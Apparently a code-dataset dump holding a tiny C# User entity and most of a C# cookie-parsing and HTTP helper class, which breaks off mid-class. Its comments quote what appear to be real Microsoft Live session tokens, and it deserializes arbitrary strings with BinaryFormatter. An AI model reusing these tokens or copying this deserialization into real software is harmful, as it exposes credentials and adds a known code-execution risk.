content stringlengths 5 1.04M | avg_line_length float64 1.75 12.9k | max_line_length int64 2 244k | alphanum_fraction float64 0 0.98 | licenses list | repository_name stringlengths 7 92 | path stringlengths 3 249 | size int64 5 1.04M | lang stringclasses 2
values |
|---|---|---|---|---|---|---|---|---|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Chloe.Entities
{
public class User
{
public string Id { get; set; }
public string Name { get; set; }
}
}
| 17.4 | 40 | 0.666667 | [
"Apache-2.0"
] | xman086/Ace | src/DotNet/Chloe.Entities/User.cs | 263 | C# |
using System;
using System.Collections.Generic;
using System.Text.RegularExpressions;
using System.Web; // for server
using System.Net; // for client
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Text;
namespace ML.Utils
{
public class CookieParse
{
public struct pairItem
{
public string key;
public string value;
};
private Dictionary<string, DateTime> calcTimeList;
const char replacedChar = '_';
string[] cookieFieldArr = { "expires", "domain", "secure", "path", "httponly", "version" };
List<string> cookieFieldList = new List<string>();
CookieCollection curCookies = null;
public CookieParse()
{
//http related
//set max enough to avoid http request is used out -> avoid dead while get response
System.Net.ServicePointManager.DefaultConnectionLimit = 200;
curCookies = new CookieCollection();
// init const cookie keys
foreach (string key in cookieFieldArr)
{
cookieFieldList.Add(key);
}
//init for calc time
calcTimeList = new Dictionary<string, DateTime>();
}
/*------------------------Private Functions------------------------------*/
// replace the replacedChar back to original ','
private string _recoverExpireField(Match foundPprocessedExpire)
{
string recovedStr = "";
recovedStr = foundPprocessedExpire.Value.Replace(replacedChar, ',');
return recovedStr;
}
//replace ',' with replacedChar
private string _processExpireField(Match foundExpire)
{
string replacedComma = "";
replacedComma = foundExpire.Value.ToString().Replace(',', replacedChar);
return replacedComma;
}
/*------------------------Public Functions-------------------------------*/
/*********************************************************************/
/* Values: int/double/... */
/*********************************************************************/
//equivalent of Math.Random() in Javascript
//get a 17 bit double value x, 0 < x < 1, eg:0.68637410117610087
public double mathRandom()
{
Random rdm = new Random();
double betweenZeroToOne17Bit = rdm.NextDouble();
return betweenZeroToOne17Bit;
}
/*********************************************************************/
/* Time */
/*********************************************************************/
// init for calculate time span
public void elapsedTimeSpanInit(string keyName)
{
calcTimeList.Add(keyName, DateTime.Now);
}
// got calculated time span
public double getElapsedTimeSpan(string keyName)
{
double milliSec = 0.0;
if (calcTimeList.ContainsKey(keyName))
{
DateTime startTime = calcTimeList[keyName];
DateTime endTime = DateTime.Now;
milliSec = (endTime - startTime).TotalMilliseconds;
}
return milliSec;
}
//refer: http://bytes.com/topic/c-sharp/answers/713458-c-function-equivalent-javascript-gettime-function
//get current time in milli-second-since-epoch(1970/01/01)
public double getCurTimeInMillisec()
{
DateTime st = new DateTime(1970, 1, 1);
TimeSpan t = (DateTime.Now - st);
return t.TotalMilliseconds; // milli seconds since epoch
}
// parse the milli second to local DateTime value
public DateTime milliSecToDateTime(double milliSecSinceEpoch)
{
DateTime st = new DateTime(1970, 1, 1, 0, 0, 0);
st = st.AddMilliseconds(milliSecSinceEpoch);
return st;
}
/*********************************************************************/
/* String */
/*********************************************************************/
// encode "!" to "%21"
public string encodeExclamationMark(string inputStr)
{
return inputStr.Replace("!", "%21");
}
// encode "%21" to "!"
public string decodeExclamationMark(string inputStr)
{
return inputStr.Replace("%21", "!");
}
//using Regex to extract single string value
// caller should make sure the string to extract is Groups[1] == include single () !!!
public bool extractSingleStr(string pattern, string extractFrom, out string extractedStr)
{
bool extractOK = false;
Regex rx = new Regex(pattern);
Match found = rx.Match(extractFrom);
if (found.Success)
{
extractOK = true;
extractedStr = found.Groups[1].ToString();
}
else
{
extractOK = false;
extractedStr = "";
}
return extractOK;
}
//quote the input dict values
//note: the return result for first para no '&'
public string quoteParas(Dictionary<string, string> paras)
{
string quotedParas = "";
bool isFirst = true;
string val = "";
foreach (string para in paras.Keys)
{
if (paras.TryGetValue(para, out val))
{
if (isFirst)
{
isFirst = false;
quotedParas += para + "=" + HttpUtility.UrlPathEncode(val);
}
else
{
quotedParas += "&" + para + "=" + HttpUtility.UrlPathEncode(val);
}
}
else
{
break;
}
}
return quotedParas;
}
//remove invalid char in path and filename
public string removeInvChrInPath(string origFileOrPathStr)
{
string validFileOrPathStr = origFileOrPathStr;
//filter out invalid title and artist char
//char[] invalidChars = { '\\', '/', ':', '*', '?', '<', '>', '|', '\b' };
char[] invalidChars = Path.GetInvalidPathChars();
char[] invalidCharsInName = Path.GetInvalidFileNameChars();
foreach (char chr in invalidChars)
{
validFileOrPathStr = validFileOrPathStr.Replace(chr.ToString(), "");
}
foreach (char chr in invalidCharsInName)
{
validFileOrPathStr = validFileOrPathStr.Replace(chr.ToString(), "");
}
return validFileOrPathStr;
}
/*********************************************************************/
/* Array */
/*********************************************************************/
//given a string array 'origStrArr', get a sub string array from 'startIdx', length is 'len'
public string[] getSubStrArr(string[] origStrArr, int startIdx, int len)
{
string[] subStrArr = new string[] { };
if ((origStrArr != null) && (origStrArr.Length > 0) && (len > 0))
{
List<string> strList = new List<string>();
int endPos = startIdx + len;
if (endPos > origStrArr.Length)
{
endPos = origStrArr.Length;
}
for (int i = startIdx; i < endPos; i++)
{
//refer: http://zhidao.baidu.com/question/296384408.html
strList.Add(origStrArr[i]);
}
subStrArr = new string[len];
strList.CopyTo(subStrArr);
}
return subStrArr;
}
/*********************************************************************/
/* cookie */
/*********************************************************************/
//extrat the Host from input url
//example: from https://skydrive.live.com/, extracted Host is "skydrive.live.com"
public string extractHost(string url)
{
string domain = "";
if ((url != "") && (url.Contains("/")))
{
string[] splited = url.Split('/');
domain = splited[2];
}
return domain;
}
//extrat the domain from input url
//example: from https://skydrive.live.com/, extracted domain is ".live.com"
public string extractDomain(string url)
{
string host = "";
string domain = "";
host = extractHost(url);
if (host.Contains("."))
{
domain = host.Substring(host.IndexOf('.'));
}
return domain;
}
//add recognized cookie field: expires/domain/path/secure/httponly/version, into cookie
public bool addFieldToCookie(ref Cookie ck, pairItem pairInfo)
{
bool added = false;
if (pairInfo.key != "")
{
string lowerKey = pairInfo.key.ToLower();
switch (lowerKey)
{
case "expires":
DateTime expireDatetime;
if (DateTime.TryParse(pairInfo.value, out expireDatetime))
{
// note: here coverted to local time: GMT +8
ck.Expires = expireDatetime;
//update expired filed
if (DateTime.Now.Ticks > ck.Expires.Ticks)
{
ck.Expired = true;
}
added = true;
}
break;
case "domain":
ck.Domain = pairInfo.value;
added = true;
break;
case "secure":
ck.Secure = true;
added = true;
break;
case "path":
ck.Path = pairInfo.value;
added = true;
break;
case "httponly":
ck.HttpOnly = true;
added = true;
break;
case "version":
int versionValue;
if (int.TryParse(pairInfo.value, out versionValue))
{
ck.Version = versionValue;
added = true;
}
break;
default:
break;
}
}
return added;
}//addFieldToCookie
public bool isValidCookieField(string cookieKey)
{
return cookieFieldList.Contains(cookieKey.ToLower());
}
//cookie field example:
//WLSRDAuth=FAAaARQL3KgEDBNbW84gMYrDN0fBab7xkQNmAAAEgAAACN7OQIVEO14E2ADnX8vEiz8fTuV7bRXem4Yeg/DI6wTk5vXZbi2SEOHjt%2BbfDJMZGybHQm4NADcA9Qj/tBZOJ/ASo5d9w3c1bTlU1jKzcm2wecJ5JMJvdmTCj4J0oy1oyxbMPzTc0iVhmDoyClU1dgaaVQ15oF6LTQZBrA0EXdBxq6Mu%2BUgYYB9DJDkSM/yFBXb2bXRTRgNJ1lruDtyWe%2Bm21bzKWS/zFtTQEE56bIvn5ITesFu4U8XaFkCP/FYLiHj6gpHW2j0t%2BvvxWUKt3jAnWY1Tt6sXhuSx6CFVDH4EYEEUALuqyxbQo2ugNwDkP9V5O%2B5FAyCf; path=/; domain=.livefilestore.com; HttpOnly;,
//WLSRDSecAuth=FAAaARQL3KgEDBNbW84gMYrDN0fBab7xkQNmAAAEgAAACJFcaqD2IuX42ACdjP23wgEz1qyyxDz0kC15HBQRXH6KrXszRGFjDyUmrC91Zz%2BgXPFhyTzOCgQNBVfvpfCPtSccxJHDIxy47Hq8Cr6RGUeXSpipLSIFHumjX5%2BvcJWkqxDEczrmBsdGnUcbz4zZ8kP2ELwAKSvUteey9iHytzZ5Ko12G72%2Bbk3BXYdnNJi8Nccr0we97N78V0bfehKnUoDI%2BK310KIZq9J35DgfNdkl12oYX5LMIBzdiTLwN1%2Bx9DgsYmmgxPbcuZPe/7y7dlb00jNNd8p/rKtG4KLLT4w3EZkUAOcUwGF746qfzngDlOvXWVvZjGzA; path=/; domain=.livefilestore.com; HttpOnly; secure;,
//RPSShare=1; path=/;,
//ANON=A=DE389D4D076BF47BCAE4DC05FFFFFFFF&E=c44&W=1; path=/; domain=.livefilestore.com;,
//NAP=V=1.9&E=bea&C=VTwb1vAsVjCeLWrDuow-jCNgP5eS75JWWvYVe3tRppviqKixCvjqgw&W=1; path=/; domain=.livefilestore.com;,
//RPSMaybe=; path=/; domain=.livefilestore.com; expires=Thu, 30-Oct-1980 16:00:00 GMT;
//check whether the cookie name is valid or not
public bool isValidCookieName(string ckName)
{
bool isValid = true;
if (ckName == null)
{
isValid = false;
}
else
{
//string invalidP = @"\W+";
//Regex rx = new Regex(invalidP);
//Match foundInvalid = rx.Match(ckName);
//if (foundInvalid.Success)
//{
// isValid = false;
//}
string invalidP = @".+";
Regex rx = new Regex(invalidP);
Match foundInvalid = rx.Match(ckName);
if (!foundInvalid.Success)
{
isValid = false;
}
}
return isValid;
}
// parse the cookie name and value
public bool parseCookieNameValue(string ckNameValueExpr, out pairItem pair)
{
bool parsedOK = false;
if (ckNameValueExpr == "")
{
pair.key = "";
pair.value = "";
parsedOK = false;
}
else
{
ckNameValueExpr = ckNameValueExpr.Trim();
int equalPos = ckNameValueExpr.IndexOf('=');
if (equalPos > 0) // is valid expression
{
pair.key = ckNameValueExpr.Substring(0, equalPos);
pair.key = pair.key.Trim();
if (isValidCookieName(pair.key))
{
// only process while is valid cookie field
pair.value = ckNameValueExpr.Substring(equalPos + 1);
pair.value = pair.value.Trim();
parsedOK = true;
}
else
{
pair.key = "";
pair.value = "";
parsedOK = false;
}
}
else
{
pair.key = "";
pair.value = "";
parsedOK = false;
}
}
return parsedOK;
}
// parse cookie field expression
public bool parseCookieField(string ckFieldExpr, out pairItem pair)
{
bool parsedOK = false;
if (ckFieldExpr == "")
{
pair.key = "";
pair.value = "";
parsedOK = false;
}
else
{
ckFieldExpr = ckFieldExpr.Trim();
//some specials: secure/httponly
if (ckFieldExpr.ToLower() == "httponly")
{
pair.key = "httponly";
//pair.value = "";
pair.value = "true";
parsedOK = true;
}
else if (ckFieldExpr.ToLower() == "secure")
{
pair.key = "secure";
//pair.value = "";
pair.value = "true";
parsedOK = true;
}
else // normal cookie field
{
int equalPos = ckFieldExpr.IndexOf('=');
if (equalPos > 0) // is valid expression
{
pair.key = ckFieldExpr.Substring(0, equalPos);
pair.key = pair.key.Trim();
if (isValidCookieField(pair.key))
{
// only process while is valid cookie field
pair.value = ckFieldExpr.Substring(equalPos + 1);
pair.value = pair.value.Trim();
parsedOK = true;
}
else
{
pair.key = "";
pair.value = "";
parsedOK = false;
}
}
else
{
pair.key = "";
pair.value = "";
parsedOK = false;
}
}
}
return parsedOK;
}//parseCookieField
//parse single cookie string to a cookie
//example:
//MSPShared=1; expires=Wed, 30-Dec-2037 16:00:00 GMT;domain=login.live.com;path=/;HTTPOnly= ;version=1
//PPAuth=CkLXJYvPpNs3w!fIwMOFcraoSIAVYX3K!CdvZwQNwg3Y7gv74iqm9MqReX8XkJqtCFeMA6GYCWMb9m7CoIw!ID5gx3pOt8sOx1U5qQPv6ceuyiJYwmS86IW*l3BEaiyVCqFvju9BMll7!FHQeQholDsi0xqzCHuW!Qm2mrEtQPCv!qF3Sh9tZDjKcDZDI9iMByXc6R*J!JG4eCEUHIvEaxTQtftb4oc5uGpM!YyWT!r5jXIRyxqzsCULtWz4lsWHKzwrNlBRbF!A7ZXqXygCT8ek6luk7rarwLLJ!qaq2BvS; domain=login.live.com;secure= ;path=/;HTTPOnly= ;version=1
public bool parseSingleCookie(string cookieStr, ref Cookie ck)
{
bool parsedOk = true;
//Cookie ck = new Cookie();
//string[] expressions = cookieStr.Split(";".ToCharArray(),StringSplitOptions.RemoveEmptyEntries);
//refer: http://msdn.microsoft.com/en-us/library/b873y76a.aspx
string[] expressions = cookieStr.Split(new char[] { ';' }, StringSplitOptions.RemoveEmptyEntries);
//get cookie name and value
pairItem pair = new pairItem();
if (parseCookieNameValue(expressions[0], out pair))
{
ck.Name = pair.key;
ck.Value = pair.value;
string[] fieldExpressions = getSubStrArr(expressions, 1, expressions.Length - 1);
foreach (string eachExpression in fieldExpressions)
{
//parse key and value
if (parseCookieField(eachExpression, out pair))
{
// add to cookie field if possible
addFieldToCookie(ref ck, pair);
}
else
{
// if any field fail, consider it is a abnormal cookie string, so quit with false
parsedOk = false;
break;
}
}
}
else
{
parsedOk = false;
}
return parsedOk;
}//parseSingleCookie
//check whether need add/retain this cookie
// not add for:
// ck is null or ck name is null
// domain is null and curDomain is not set
// expired and retainExpiredCookie==false
private bool needAddThisCookie(Cookie ck, string curDomain)
{
bool needAdd = false;
if ((ck == null) || (ck.Name == ""))
{
needAdd = false;
}
else
{
if (ck.Domain != "")
{
needAdd = true;
}
else// ck.Domain == ""
{
if (curDomain != "")
{
ck.Domain = curDomain;
needAdd = true;
}
else // curDomain == ""
{
// not set current domain, omit this
// should not add empty domain cookie, for this will lead execute CookieContainer.Add() fail !!!
needAdd = false;
}
}
}
return needAdd;
}
// parse the Set-Cookie string (in http response header) to cookies
// Note: auto omit to parse the abnormal cookie string
// normal example for 'setCookieStr':
// MSPOK= ; expires=Thu, 30-Oct-1980 16:00:00 GMT;domain=login.live.com;path=/;HTTPOnly= ;version=1,PPAuth=Cuyf3Vp2wolkjba!TOr*0v22UMYz36ReuiwxZZBc8umHJYPlRe4qupywVFFcIpbJyvYZ5ZDLBwV4zRM1UCjXC4tUwNuKvh21iz6gQb0Tu5K7Z62!TYGfowB9VQpGA8esZ7iCRucC7d5LiP3ZAv*j4Z3MOecaJwmPHx7!wDFdAMuQUZURhHuZWJiLzHP1j8ppchB2LExnlHO6IGAdZo1f0qzSWsZ2hq*yYP6sdy*FdTTKo336Q1B0i5q8jUg1Yv6c2FoBiNxhZSzxpuU0WrNHqSytutP2k4!wNc6eSnFDeouX; domain=login.live.com;secure= ;path=/;HTTPOnly= ;version=1,PPLState=1; domain=.live.com;path=/;version=1,MSPShared=1; expires=Wed, 30-Dec-2037 16:00:00 GMT;domain=login.live.com;path=/;HTTPOnly= ;version=1,MSPPre= ;domain=login.live.com;path=/;Expires=Thu, 30-Oct-1980 16:00:00 GMT,MSPCID= ; HTTPOnly= ; domain=login.live.com;path=/;Expires=Thu, 30-Oct-1980 16:00:00 GMT,RPSTAuth=EwDoARAnAAAUWkziSC7RbDJKS1VkhugDegv7L0eAAOfCAY2+pKwbV5zUlu3XmBbgrQ8EdakmdSqK9OIKfMzAbnU8fuwwEi+FKtdGSuz/FpCYutqiHWdftd0YF21US7+1bPxuLJ0MO+wVXB8GtjLKZaA0xCXlU5u01r+DOsxSVM777DmplaUc0Q4O1+Pi9gX9cyzQLAgRKmC/QtlbVNKDA2YAAAhIwqiXOVR/DDgBocoO/n0u48RFGh79X2Q+gO4Fl5GMc9Vtpa7SUJjZCCfoaitOmcxhEjlVmR/2ppdfJx3Ykek9OFzFd+ijtn7K629yrVFt3O9q5L0lWoxfDh5/daLK7lqJGKxn1KvOew0SHlOqxuuhYRW57ezFyicxkxSI3aLxYFiqHSu9pq+TlITqiflyfcAcw4MWpvHxm9on8Y1dM2R4X3sxuwrLQBpvNsG4oIaldTYIhMEnKhmxrP6ZswxzteNqIRvMEKsxiksBzQDDK/Cnm6QYBZNsPawc6aAedZioeYwaV3Z/i3tNrAUwYTqLXve8oG6ZNXL6WLT/irKq1EMilK6Cw8lT3G13WYdk/U9a6YZPJC8LdqR0vAHYpsu/xRF39/On+xDNPE4keIThJBptweOeWQfsMDwvgrYnMBKAMjpLZwE=; domain=.live.com;path=/;HTTPOnly= ;version=1,RPSTAuthTime=1328679636; domain=login.live.com;path=/;HTTPOnly= ;version=1,MSPAuth=2OlAAMHXtDIFOtpaK1afG2n*AAxdfCnCBlJFn*gCF8gLnCa1YgXEfyVh2m9nZuF*M7npEwb4a7Erpb*!nH5G285k7AswJOrsr*gY29AVAbsiz2UscjIGHkXiKrTvIzkV2M; domain=.live.com;path=/;HTTPOnly= ;version=1,MSPProf=23ci9sti6DZRrkDXfTt1b3lHhMdheWIcTZU2zdJS9!zCloHzMKwX30MfEAcCyOjVt*5WeFSK3l2ZahtEaK7HPFMm3INMs3r!JxI8odP9PYRHivop5ryohtMYzWZzj3gVVurcEr5Bg6eJJws7rXOggo3cR4FuKLtXwz*FVX0VWuB5*aJhRkCT1GZn*L5Pxzsm9X; domain=.live.com;path=/;HTTPOnly= ;version=1,MSNPPAuth=CiGSMoUOx4gej8yQkdFBvN!gvffvAhCPeWydcrAbcg!O2lrhVb4gruWSX5NZCBPsyrtZKmHLhRLTUUIxxPA7LIhqW5TCV*YcInlG2f5hBzwzHt!PORYbg79nCkvw65LKG399gRGtJ4wvXdNlhHNldkBK1jVXD4PoqO1Xzdcpv4sj68U6!oGrNK5KgRSMXXpLJmCeehUcsRW1NmInqQXpyanjykpYOcZy0vq!6PIxkj3gMaAvm!1vO58gXM9HX9dA0GloNmCDnRv4qWDV2XKqEKp!A7jiIMWTmHup1DZ!*YCtDX3nUVQ1zAYSMjHmmbMDxRJECz!1XEwm070w16Y40TzuKAJVugo!pyF!V2OaCsLjZ9tdGxGwEQRyi0oWc*Z7M0FBn8Fz0Dh4DhCzl1NnGun9kOYjK5itrF1Wh17sT!62ipv1vI8omeu0cVRww2Kv!qM*LFgwGlPOnNHj3*VulQOuaoliN4MUUxTA4owDubYZoKAwF*yp7Mg3zq5Ds2!l9Q$$; domain=.live.com;path=/;HTTPOnly= ;version=1,MH=MSFT; domain=.live.com;path=/;version=1,MHW=; expires=Thu, 30-Oct-1980 16:00:00 GMT;domain=.live.com;path=/;version=1,MHList=; expires=Thu, 30-Oct-1980 16:00:00 GMT;domain=.live.com;path=/;version=1,NAP=V=1.9&E=bea&C=zfjCKKBD0TqjZlWGgRTp__NiK08Lme_0XFaiKPaWJ0HDuMi2uCXafQ&W=1;domain=.live.com;path=/,ANON=A=DE389D4D076BF47BCAE4DC05FFFFFFFF&E=c44&W=1;domain=.live.com;path=/,MSPVis=$9;domain=login.live.com;path=/,pres=; expires=Thu, 30-Oct-1980 16:00:00 GMT;domain=.live.com;path=/;version=1,LOpt=0; domain=login.live.com;path=/;version=1,WLSSC=EgBnAQMAAAAEgAAACoAASfCD+8dUptvK4kvFO0gS3mVG28SPT3Jo9Pz2k65r9c9KrN4ISvidiEhxXaPLCSpkfa6fxH3FbdP9UmWAa9KnzKFJu/lQNkZC3rzzMcVUMjbLUpSVVyscJHcfSXmpGGgZK4ZCxPqXaIl9EZ0xWackE4k5zWugX7GR5m/RzakyVIzWAFwA1gD9vwYA7Vazl9QKMk/UCjJPECcAAAoQoAAAFwBjcmlmYW4yMDAzQGhvdG1haWwuY29tAE8AABZjcmlmYW4yMDAzQGhvdG1haWwuY29tAAAACUNOAAYyMTM1OTIAAAZlCAQCAAB3F21AAARDAAR0aWFuAAR3YW5nBMgAAUkAAAAAAAAAAAAAAaOKNpqLi/UAANQKMk/Uf0RPAAAAAAAAAAAAAAAADgA1OC4yNDAuMjM2LjE5AAUAAAAAAAAAAAAAAAABBAABAAABAAABAAAAAAAAAAA=; domain=.live.com;secure= ;path=/;HTTPOnly= ;version=1,MSPSoftVis=@72198325083833620@:@; domain=login.live.com;path=/;version=1
// here now support parse the un-correct Set-Cookie:
// MSPRequ=/;Version=1;version<=1328770452&id=250915&co=1; path=/;version=1,MSPVis=$9; Version=1;version=1$250915;domain=login.live.com;path=/,MSPSoftVis=@72198325083833620@:@; domain=login.live.com;path=/;version=1,MSPBack=1328770312; domain=login.live.com;path=/;version=1
public CookieCollection parseSetCookie(string setCookieStr, string curDomain)
{
CookieCollection parsedCookies = new CookieCollection();
// process for expires and Expires field, for it contains ','
//refer: http://www.yaosansi.com/post/682.html
// may contains expires or Expires, so following use xpires
string commaReplaced = Regex.Replace(setCookieStr, @"xpires=\w{3},\s\d{2}-\w{3}-\d{4}", new MatchEvaluator(_processExpireField));
string[] cookieStrArr = commaReplaced.Split(',');
foreach (string cookieStr in cookieStrArr)
{
Cookie ck = new Cookie();
// recover it back
string recoveredCookieStr = Regex.Replace(cookieStr, @"xpires=\w{3}" + replacedChar + @"\s\d{2}-\w{3}-\d{4}", new MatchEvaluator(_recoverExpireField));
if (parseSingleCookie(recoveredCookieStr, ref ck))
{
if (needAddThisCookie(ck, curDomain))
{
parsedCookies.Add(ck);
}
}
}
return parsedCookies;
}//parseSetCookie
// parse Set-Cookie string part into cookies
// leave current domain to empty, means omit the parsed cookie, which is not set its domain value
public CookieCollection parseSetCookie(string setCookieStr)
{
return parseSetCookie(setCookieStr, "");
}
//parse xxx in "new Date(xxx)" of javascript to C# DateTime
//input example:
//new Date(1329198041411.84) / new Date(1329440307389.9) / new Date(1329440307483)
public bool parseJsNewDate(string newDateStr, out DateTime parsedDatetime)
{
bool parseOK = false;
parsedDatetime = new DateTime();
if ((newDateStr != "") && (newDateStr.Trim() != ""))
{
string dateValue = "";
if (extractSingleStr(@".*new\sDate\((.+?)\).*", newDateStr, out dateValue))
{
double doubleVal = 0.0;
if (Double.TryParse(dateValue, out doubleVal))
{
// try whether is double/int64 milliSecSinceEpoch
parsedDatetime = milliSecToDateTime(doubleVal);
parseOK = true;
}
else if (DateTime.TryParse(dateValue, out parsedDatetime))
{
// try normal DateTime string
//refer: http://www.w3schools.com/js/js_obj_date.asp
//October 13, 1975 11:13:00
//79,5,24 / 79,5,24,11,33,0
//1329198041411.3344 / 1329198041411.84 / 1329198041411
parseOK = true;
}
}
}
return parseOK;
}
//parse Javascript string "$Cookie.setCookie(XXX);" to a cookie
// input example:
//$Cookie.setCookie('wla42','cHJveHktYmF5LnB2dC1jb250YWN0cy5tc24uY29tfGJ5MioxLDlBOEI4QkY1MDFBMzhBMzYsMSwwLDA=','live.com','/',new Date(1328842189083.44),1);
//$Cookie.setCookie('wla42','YnkyKjEsOUE4QjhCRjUwMUEzOEEzNiwwLCww','live.com','/',new Date(1329198041411.84),1);
//$Cookie.setCookie('wla42', 'YnkyKjEsOUE4QjhCRjUwMUEzOEEzNiwwLCww', 'live.com', '/', new Date(1329440307389.9), 1);
//$Cookie.setCookie('wla42', 'cHJveHktYmF5LnB2dC1jb250YWN0cy5tc24uY29tfGJ5MioxLDlBOEI4QkY1MDFBMzhBMzYsMSwwLDA=', 'live.com', '/', new Date(1329440307483.5), 1);
//$Cookie.setCookie('wls', 'A|eyJV-t:a*nS', '.live.com', '/', null, 1);
//$Cookie.setCookie('MSNPPAuth','','.live.com','/',new Date(1327971507311.9),1);
public bool parseJsSetCookie(string singleSetCookieStr, out Cookie parsedCk)
{
bool parseOK = false;
parsedCk = new Cookie();
string name = "";
string value = "";
string domain = "";
string path = "";
string expire = "";
string secure = "";
// 1=name 2=value 3=domain 4=path 5=expire 6=secure
string setckP = @"\$Cookie\.setCookie\('(\w+)',\s*'(.*?)',\s*'([\w\.]+)',\s*'(.+?)',\s*(.+?),\s*(\d?)\);";
Regex setckRx = new Regex(setckP);
Match foundSetck = setckRx.Match(singleSetCookieStr);
if (foundSetck.Success)
{
name = foundSetck.Groups[1].ToString();
value = foundSetck.Groups[2].ToString();
domain = foundSetck.Groups[3].ToString();
path = foundSetck.Groups[4].ToString();
expire = foundSetck.Groups[5].ToString();
secure = foundSetck.Groups[6].ToString();
// must: name valid and domain is not null
if (isValidCookieName(name) && (domain != ""))
{
parseOK = true;
parsedCk.Name = name;
parsedCk.Value = value;
parsedCk.Domain = domain;
parsedCk.Path = path;
// note, here even parse expire field fail
//do not consider it must fail to parse the whole cookie
if (expire.Trim() == "null")
{
// do nothing
}
else
{
DateTime expireTime;
if (parseJsNewDate(expire, out expireTime))
{
parsedCk.Expires = expireTime;
}
}
if (secure == "1")
{
parsedCk.Secure = true;
}
else
{
parsedCk.Secure = false;
}
}//if (isValidCookieName(name) && (domain != ""))
}//foundSetck.Success
return parseOK;
}
//check whether a cookie is expired
//if expired property is set, then just return it value
//if not set, check whether is a session cookie, if is, then not expired
//if expires is set, check its real time is expired or not
public bool isCookieExpired(Cookie ck)
{
bool isExpired = false;
if ((ck != null) && (ck.Name != ""))
{
if (ck.Expired)
{
isExpired = true;
}
else
{
DateTime initExpiresValue = (new Cookie()).Expires;
DateTime expires = ck.Expires;
if (expires.Equals(initExpiresValue))
{
// expires is not set, means this is session cookie, so here no expire
}
else
{
// has set expire value
if (DateTime.Now.Ticks > expires.Ticks)
{
isExpired = true;
}
}
}
}
else
{
isExpired = true;
}
return isExpired;
}
//add a single cookie to cookies, if already exist, update its value
public void addCookieToCookies(Cookie toAdd, ref CookieCollection cookies, bool overwriteDomain)
{
bool found = false;
if (cookies.Count > 0)
{
foreach (Cookie originalCookie in cookies)
{
if (originalCookie.Name == toAdd.Name)
{
// !!! for different domain, cookie is not same,
// so should not set the cookie value here while their domains is not same
// only if it explictly need overwrite domain
if ((originalCookie.Domain == toAdd.Domain) ||
((originalCookie.Domain != toAdd.Domain) && overwriteDomain))
{
//here can not force convert CookieCollection to HttpCookieCollection,
//then use .remove to remove this cookie then add
// so no good way to copy all field value
originalCookie.Value = toAdd.Value;
originalCookie.Domain = toAdd.Domain;
originalCookie.Expires = toAdd.Expires;
originalCookie.Version = toAdd.Version;
originalCookie.Path = toAdd.Path;
//following fields seems should not change
//originalCookie.HttpOnly = toAdd.HttpOnly;
//originalCookie.Secure = toAdd.Secure;
found = true;
break;
}
}
}
}
if (!found)
{
if (toAdd.Domain != "")
{
// if add the null domain, will lead to follow req.CookieContainer.Add(cookies) failed !!!
cookies.Add(toAdd);
}
}
}//addCookieToCookies
//add singel cookie to cookies, default no overwrite domain
public void addCookieToCookies(Cookie toAdd, ref CookieCollection cookies)
{
addCookieToCookies(toAdd, ref cookies, false);
}
//check whether the cookies contains the ckToCheck cookie
//support:
//ckTocheck is Cookie/string
//cookies is Cookie/string/CookieCollection/string[]
public bool isContainCookie(object ckToCheck, object cookies)
{
bool isContain = false;
if ((ckToCheck != null) && (cookies != null))
{
string ckName = "";
Type type = ckToCheck.GetType();
//string typeStr = ckType.ToString();
//if (ckType.FullName == "System.string")
if (type.Name.ToLower() == "string")
{
ckName = (string)ckToCheck;
}
else if (type.Name == "Cookie")
{
ckName = ((Cookie)ckToCheck).Name;
}
if (ckName != "")
{
type = cookies.GetType();
// is single Cookie
if (type.Name == "Cookie")
{
if (ckName == ((Cookie)cookies).Name)
{
isContain = true;
}
}
// is CookieCollection
else if (type.Name == "CookieCollection")
{
foreach (Cookie ck in (CookieCollection)cookies)
{
if (ckName == ck.Name)
{
isContain = true;
break;
}
}
}
// is single cookie name string
else if (type.Name.ToLower() == "string")
{
if (ckName == (string)cookies)
{
isContain = true;
}
}
// is cookie name string[]
else if (type.Name.ToLower() == "string[]")
{
foreach (string name in ((string[])cookies))
{
if (ckName == name)
{
isContain = true;
break;
}
}
}
}
}
return isContain;
}//isContainCookie
// update cookiesToUpdate to localCookies
// if omitUpdateCookies designated, then omit cookies of omitUpdateCookies in cookiesToUpdate
public void updateLocalCookies(CookieCollection cookiesToUpdate, ref CookieCollection localCookies, object omitUpdateCookies)
{
if (cookiesToUpdate.Count > 0)
{
if (localCookies == null)
{
localCookies = cookiesToUpdate;
}
else
{
foreach (Cookie newCookie in cookiesToUpdate)
{
if (isContainCookie(newCookie, omitUpdateCookies))
{
// need omit process this
}
else
{
addCookieToCookies(newCookie, ref localCookies);
}
}
}
}
}//updateLocalCookies
//update cookiesToUpdate to localCookies
public void updateLocalCookies(CookieCollection cookiesToUpdate, ref CookieCollection localCookies)
{
updateLocalCookies(cookiesToUpdate, ref localCookies, null);
}
// given a cookie name ckName, get its value from CookieCollection cookies
public bool getCookieVal(string ckName, ref CookieCollection cookies, out string ckVal)
{
//string ckVal = "";
ckVal = "";
bool gotValue = false;
foreach (Cookie ck in cookies)
{
if (ck.Name == ckName)
{
gotValue = true;
ckVal = ck.Value;
break;
}
}
return gotValue;
}
/*********************************************************************/
/* Serialize/Deserialize */
/*********************************************************************/
// serialize an object to string
public bool serializeObjToStr(Object obj, out string serializedStr)
{
bool serializeOk = false;
serializedStr = "";
try
{
MemoryStream memoryStream = new MemoryStream();
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(memoryStream, obj);
serializedStr = System.Convert.ToBase64String(memoryStream.ToArray());
serializeOk = true;
}
catch
{
serializeOk = false;
}
return serializeOk;
}
// deserialize the string to an object
public bool deserializeStrToObj(string serializedStr, out object deserializedObj)
{
bool deserializeOk = false;
deserializedObj = null;
try
{
byte[] restoredBytes = System.Convert.FromBase64String(serializedStr);
MemoryStream restoredMemoryStream = new MemoryStream(restoredBytes);
BinaryFormatter binaryFormatter = new BinaryFormatter();
deserializedObj = binaryFormatter.Deserialize(restoredMemoryStream);
deserializeOk = true;
}
catch
{
deserializeOk = false;
}
return deserializeOk;
}
/*********************************************************************/
/* HTTP */
/*********************************************************************/
/*
* Note: currently support auto handle cookies
* currently only support single caller -> multiple caller of these functions will cause cookies accumulated
* you can clear previous cookies to avoid unexpected result by call clearCurCookies
*/
public void clearCurCookies()
{
if (curCookies != null)
{
curCookies = null;
curCookies = new CookieCollection();
}
}
/* get current cookies */
public CookieCollection getCurCookies()
{
return curCookies;
}
/* set current cookies */
public void setCurCookies(CookieCollection cookies)
{
curCookies = cookies;
